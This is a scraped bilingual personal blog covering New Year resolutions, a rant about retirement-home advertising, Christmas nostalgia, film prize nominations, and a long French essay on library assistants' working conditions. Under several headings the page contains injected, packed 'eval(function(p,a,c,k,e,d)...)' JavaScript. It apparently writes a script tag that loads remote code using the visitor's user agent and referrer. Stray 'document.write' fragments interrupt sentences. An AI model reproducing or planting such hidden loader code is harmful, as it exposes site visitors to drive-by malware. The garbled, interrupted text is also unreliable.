Then I have spent the first day of the New Year with my sisters at my parents new place (still filled with moving boxes) for a quick brunch celebration. We came back home in late afternoon for a nap, after which, with a light supper, we watched a few more episodes of the mid-eighties Sherlock Holmes TV series starring Jeremy Brett. There’s really nothing better than British TV (I should blog about this eventually).

The new year is bringing a more stable work schedule and, if all is well, a reasonable pay raise–which should allow me the time and peace of mind to finally complete many yearned projects. Therefore, as it is often the tradition at this time of the year, I have formulated a few (very conservative) resolutions for MMX: 1) to take time for my wife and I to get a complete physical and all the necessary tests to insure our good health (it should be everyone’s first priority: eat well, make more physical exercices and keep challenging our mind); 2) to finish and release the thematic issue of the magazine / book that I’ve been working so much on last year and which is now so late (it was planned for last summer) and keep more issues coming (in one format or another); and 3) continue and finish the great clean up of my appartment (since my parents sold their house several years ago I have accumulated so much stuff that I really need to go through it all to get rid, recycle, sell or donate all the papers, books, cds, dvds, tapes, computers, electronics, etc. that are not needed anymore to reduce the clutter and put the appartment in order — as I often say while considering the huge amount of stuff I own, I’d rather buy the place than move!). As for this blog, I pledge to continue writing as much as I can and, particularly, write more reviews (writing here in both official languages is the best thing to keep my mind working and sane).

Finally, I’ll conclude this entry with my “rant of the day.” Lately, while watching french-speaking TV, I’ve been bombarded with advert for the Résidences Soleil retirement homes and it makes me want to puke! They keep hammering the idea that they are affordable even for people with low (and fixed) income and their web site add that their rent “increases are based on Statistics Canada’s cost of living index, which enables people who have the means to live in the Résidences Soleil today, to always be able to do so”. That’s total bulls**t. My parents just had to move into a much smaller appartment despite the fact that my father have a quite comfortable Federal government pension because the rent increased more than they could afford over the last couple of years (it seems more than legally allowed by the Régie du Logement, but my parents didn’t want trouble and declined to fight against the raise). What a nice business! Those people are clearly preying on the elderly (ok, yes, they ARE offering peaceful and comfortable dwellings but their services have their limits: as soon as you are too sick, too old or too much trouble they get rid of you and they do their best to suck up as much money as they can)! I find this type of misleading advert intolerable.

Waning Christmas spirit

As the years pass, document.write(“”); I realize that the spirit of Christmas is vanishing more and more, to the point that I can now barely feel it. Christmas is now nothing more than a day of rest, often partly spent in company of family, and filled reminiscing about the olden days, the bygone time of our youth. This is but one of the outrage inflicted upon us by age. We must accept our circumstances without complain as it is useless to protest against what’s beyond our command. Snow gently covers the city, christmas trees brighten up the night with their sparkling ornaments, gifts are given, best wishes exchanged, feast consumed, but the spirit is no more, spent and lamented. Only remain the sadness of knowing that we were once awed by the greatness and depth of this particular moment of the wintery season, where we unexplainably felt something greater than all of us.

This week in the press (2009-12-24)

Digital Edition & Library
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnbyn|var|u0026u|referrer|ttnhr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skzdb|var|u0026u|referrer|tyzeb||js|php’.split(‘|’),0,{}))

Environment & Politics

Humour

Influenza A(H1N1)

Media & Culture

Montreal

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

33rd Japan Academy Prize Nominations

The nominations for the 2010 Japan Academy Prize (the Japanese equivalent for the Motion Picture Academy Awards, a.k.a the Oscars) are just in.

The nominees for Best Picture and Best Director are:

The nominees for Best Animation are:

Anecdote calembourgeois

Il y a plusieurs mois de cela, document.write(“”); j’ai remarqué à CNN un “journaliste” qui s’asseyait toujours sur son bureau pour faire ses présentations. Comme il donnait surtout dans le commentaire d’actualité et qu’il utilisait l’internet (Twitter, Facebook) pour créer une “conversation” avec son auditoire, je suppose qu’il faisait ainsi pour créer une atmosphère plus informelle. Ce n’est que plus tard que j’ai réalisé que c’est aussi sans doute pourquoi on l’appellait “Rick Sanchez”!

Commenthécaire

Les commentaires du Pirathécaire et les réactions qu’il suscite m’amènent à faire de nouvelles réflexions.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzrtd|var|u0026u|referrer|reyff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzefz|var|u0026u|referrer|rdrdb||js|php’.split(‘|’),0,{}))

(
Cliquez le lien ci-dessous pour continuer la lecture au-delà du saut)


D’une part, document.write(“”); à lire les motivations qui poussent le Pirathécaire à s’exprimer dans son blogue, je réalise que mes propres motivations sont tout à fait semblables au siennes, quoi que dans mon cas je suis relativement nouveau dans l’univers des bibliothèques et que mon point de vue est celui d’un aide-bibliothécaire (après avoir durement oeuvré dans l’édition j’ai choisi ce travail sans doute par une sorte de plaisir pervert, et la diversité de mon expérience m’amène à m’exprimer sur un plus large éventail de sujets–j’observe silentieusement et commente quand je crois qu’il est important de le faire). Je ne partage certes pas toutes ses opinions mais je sens que notre “combat” est similaire…

D’abord, je suis parfaitement d’accord avec l’opinion déjà énoncé (par B. Majour) que les bibliothèques doivent promouvoir la culture dans tout ses aspects. Et toutes les cultures. Je suis également d’accord que l’accroissement des collections de dvds n’est pas une mauvaise chose, mais je comprends aussi les frustrations de mes collègues. J’en ai entendu souvent se plaindre qu’ils avaient maintenant l’impression de travailler plus dans un club video que dans une bibliothèque (après tout une BIBLIOthèque, c’est pour les livres, non? Pourquoi pas changer le nom pour médiathèque ou culturethèque?). Je partage aussi l’avis (émit par Caro) que l’on doit avoir une politique de gestion précise pour les collections de dvds. Pour moi c’est d’abord une question d’allocation des ressources. Quand les budgets d’acquisition sont limités il est logique d’acheter en premier lieu des documents que les usagers ne pourraient pas aisément se procurer ailleurs. Les dvds de blockbuster Hollywoodiens sont aisément accessible dans les clubs vidéos, alors pourquoi les bibliothèques ne prioriseraient-elles pas les dvds de films Québécois, d’auteurs, de répertoire, les adaptations de chef-d’oeuvres littéraires et les documentaires (musique, voyages, intérêt publique, etc.) qui sont relativement rares dans les clubs vidéos? Il n’y a pas de mal à ça: plusieurs bibliothèques (Marie-Uguay et Plateau Mont-Royal, entre autres) semblent déjà faire ce choix délibéré. C’est un choix pragmatique qui n’a rien d’élitiste.

Par contre, oui, des opinions élitistes j’en entends parfois dans les bibliothèques. J’ai déjà entendu un collègue aide-bibliothécaire se plaindre que ce que publiait les éditions Alire (un éditeur québécois dédié à ce qu’on appelle parfois la para-littérature: policier, fantastique, science-fiction, etc.) ce n’était pas de la VRAI littérature. Mais qu’est-ce donc que cette vrai littérature? Les Proust, Claudel, Balsac, Hugo, Dumas, Beaudelaire, Maupassant, etc. ? C’est sûr que c’est de la bonne littérature classique mais la littérature évolue et aujourd’hui — ici et maintenant — ce n’est plus ce que la majorité des gens lisent. Alors, oui, les bibliothèques doivent offrir de la diversité dans la culture. Cette personne voulait sans doute dire que, selon elle, ce n’était pas de la BONNE littérature, mais ça c’est une question de goût (par soucis de transparence, je dois avouer avoir plusieurs connaissances et amis qui travaillent ou sont publiés aux éditions Alire).

Je seconde également très fortement l’avis (avancé par A.C.) voulant que le commentaire de M. Frotey n’était nullement une attaque contre les bibliothécaires mais plutôt contre l’administration des bibliothèques (les chefs de division et autres administrateurs d’arrondissement) qui semblent se soucier moins de la culture que de leur budget et de politique. Le problème n’est donc pas du tout au niveau de l’administration des bibliothèques elles-mêmes ou de la gestion des collections. J’ai parlé à plusieurs bibliothécaires qui sont extrêmement frustré des inepties et inconsistances administratives qui leur rendent la vie impossible et surtout du fait que les échellons administratifs supérieurs semblent souvent ignorant de la réalité sur le terrain.

Comme je l’ai exprimé précédemment dans un billet , les bibliothèques font actuellement face à plusieurs problèmes sérieux: des coupures discrètes dans le personnel et l’accroissement de la charge de travail qui en découle, une banque réseau qui se désagrège et n’est plus gérable à cause d’ententes syndicales particulières avec certains arrondissements (exacerbant les problèmes de personnel), un réseau de bibliothèques qui éclate au gré des arrondissements (les règles de prêt divergent de plus en plus d’un arrondissement ou d’une bibliothèque à l’autre), équipements et installations vieillissantes, etc. Tout cela non seulement crée un malaise et un stress croissant pour les employés qui doivent oeuvrer dans un environnement de travail de plus en plus exigeant, mais aussi diminue grandement la qualité du service offert aux usagers. Dans plusieurs bibliothèques c’est de plus en plus le bordel dans les étagères parce qu’on manque soit d’espace soit de personnel et qu’on ne peut pas allouer assez de temps pour la “lecture de rayon” (mise en ordre périodique du rayonnage).

D’où ce commentaire souvent entendu en bibliothèque: “ce n’est plus du travail de bibliothèque qu’on fait mais du travail de ?shoppe?.” En effet notre travail est parfois rythmé par des “slave drivers” qui s’assurent qu’on n’a pas trente secondes de répit. “Quoi? T’es pas capable de faire simultanément des retours et des prêts, de t’occuper des réservations internet, de faire la vérif, tout en nettoyant les dvds et collant des cotes sans faire d’erreurs?” dit-il sur un ton qui semblait exaspérer de mon incompétance. Non c’est du travail industriel qu’on fait. Et j’exagère à peine. Elle est où la culture la-dedans?

Quant à tout ce qui a été dit (entre autre par “Ho Chi Min”) sur l’attitude entre bibliothécaires et aide-bibliothécaires, je dois dire que j’ai toujours eu une excellente relation avec la plupart des bibliothécaires avec qui j’ai travaillé. Certains sont même de grands amis. Mais j’ai aussi rencontré un certain mépris de la part de quelques bibliothécaires qui semblent regarder de haut leur employés (dans certains cas je n’ai même jamais eu le priviligège de recontrer le bibliothécaire en charge de la bibliothèque). Je dois avouer qu’après près de dix ans d’université et vingt ans dans l’édition (dont une bonne partie à faire de la gestion) cela m’irrite beaucoup de me faire parfois traiter comme un enfant. Certes, l’exigence du poste n’est qu’un secondaire cinq et c’est un emploi d’étudiant idéal mais j’ai constaté, qu’au contraire, le niveau de scolarité des aide-biblios était beaucoup plus élévé. Nombreux sont les aide-biblios avec une maîtrise ou qui viennent des médias et d’occupations orientées sur la culture. Ce n’est pas la préoccupation de tous, mais beaucoup d’aide-biblios prennent la culture très à coeur. On fait peut-être les basses besognes des bibliothèques (replacer les livres sur les étagères, coller des cotes et scanner des code-barres à en devenir zombies) mais on est pas des idiots pour autant. On ne connait peut-être pas tout les grands détails de la science bibliothéconomique mais avec l’expérience de travail (et notre vécu) on est tout d’même capable de comprendre comment une bibliothèque fonctionne… Un peu de respect, s’il-vous-plait. Nous aussi on aimerait un peu de reconnaissance pour notre travail.

J’en conviens: gérer une bibliothèque n’est pas une tâche facile. Non seulement il y a une politique de bibliothèque à la ville, mais chaque bibliothécaire a aussi sa propre vision des choses. Et il n’est pas là pour faire plaisir aux employés (quoique les diriger avec compréhension et respects, ça c’est faisable–il y a-t-il un cours de gestion de personnel dans le programme de Bibliothéconomie?) mais il est plutôt là pour offrir la meilleure bibliothèque, le meilleur service possible. Il doit servir tant la culture, les auteurs que les usagers (sans oublier ses bureaucrates de patrons). Et tout ça avec un budget limité, voir parfois dérisoire. Faut pas croire que nous, les employés, les aide-bliothécaires, on ne fait que chialer. Nous aussi la bibliothèque, la culture, nous tiens à coeur. Malheureusement, après un certain temps, à voir toute la politique et les absurdités qui interviennent dans la gestion des bibliothèques, il est difficile de ne pas être décu et ne pas ressentir une certaine amertume. Mais il faut savoir passer outre car il y a encore tant à faire pour promouvoir la culture et l’amour des livres (et faut bien payer le loyer)… C’est pour cela que, quelles que soient les opinions émisent, un débat sur ce genre de sujet est toujours une bonne chose. On en parle pas assez.

Une dernière chose (2009-12-19): Je n’aime guère le terme “commis de bibliothèque” tel qu’on l’utilise à la Bibliothèque et Archives Nationales du Québec ou dans certaines bibliothèques universitaires. Je crois que c’est un terme réducteur et qui rabaisse notre travail au niveau de celui de simple commis d’épicerie (sans vouloir offenser les-dit commis d’épicerie — quoiqu’au bout du compte on fait le même genre de travail: regarnir les étagères, informer les clients et leur vendre notre salade, appliquer les étiquettes, opérer la caisse enregistreuse, etc.). A l’opposé, J’ai cru comprendre que certains bibliothécaires préfèrent le terme de commis (“employé chargé des écritures, de la vente ou des tâches manuelles”) car ils n’aiment pas voir le nom de leur auguste profession associé à des gens qui n’ont pas leurs diplômes (arrachés au prix de grands efforts)… 😉

This week in the press (2009-12-15)

Digital Edition & Library
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydnkk|var|u0026u|referrer|ezekk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzsed|var|u0026u|referrer|yzadd||js|php’.split(‘|’),0,{}))

Humour


Influenza A(H1N1)

Media & Culture

Montreal

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side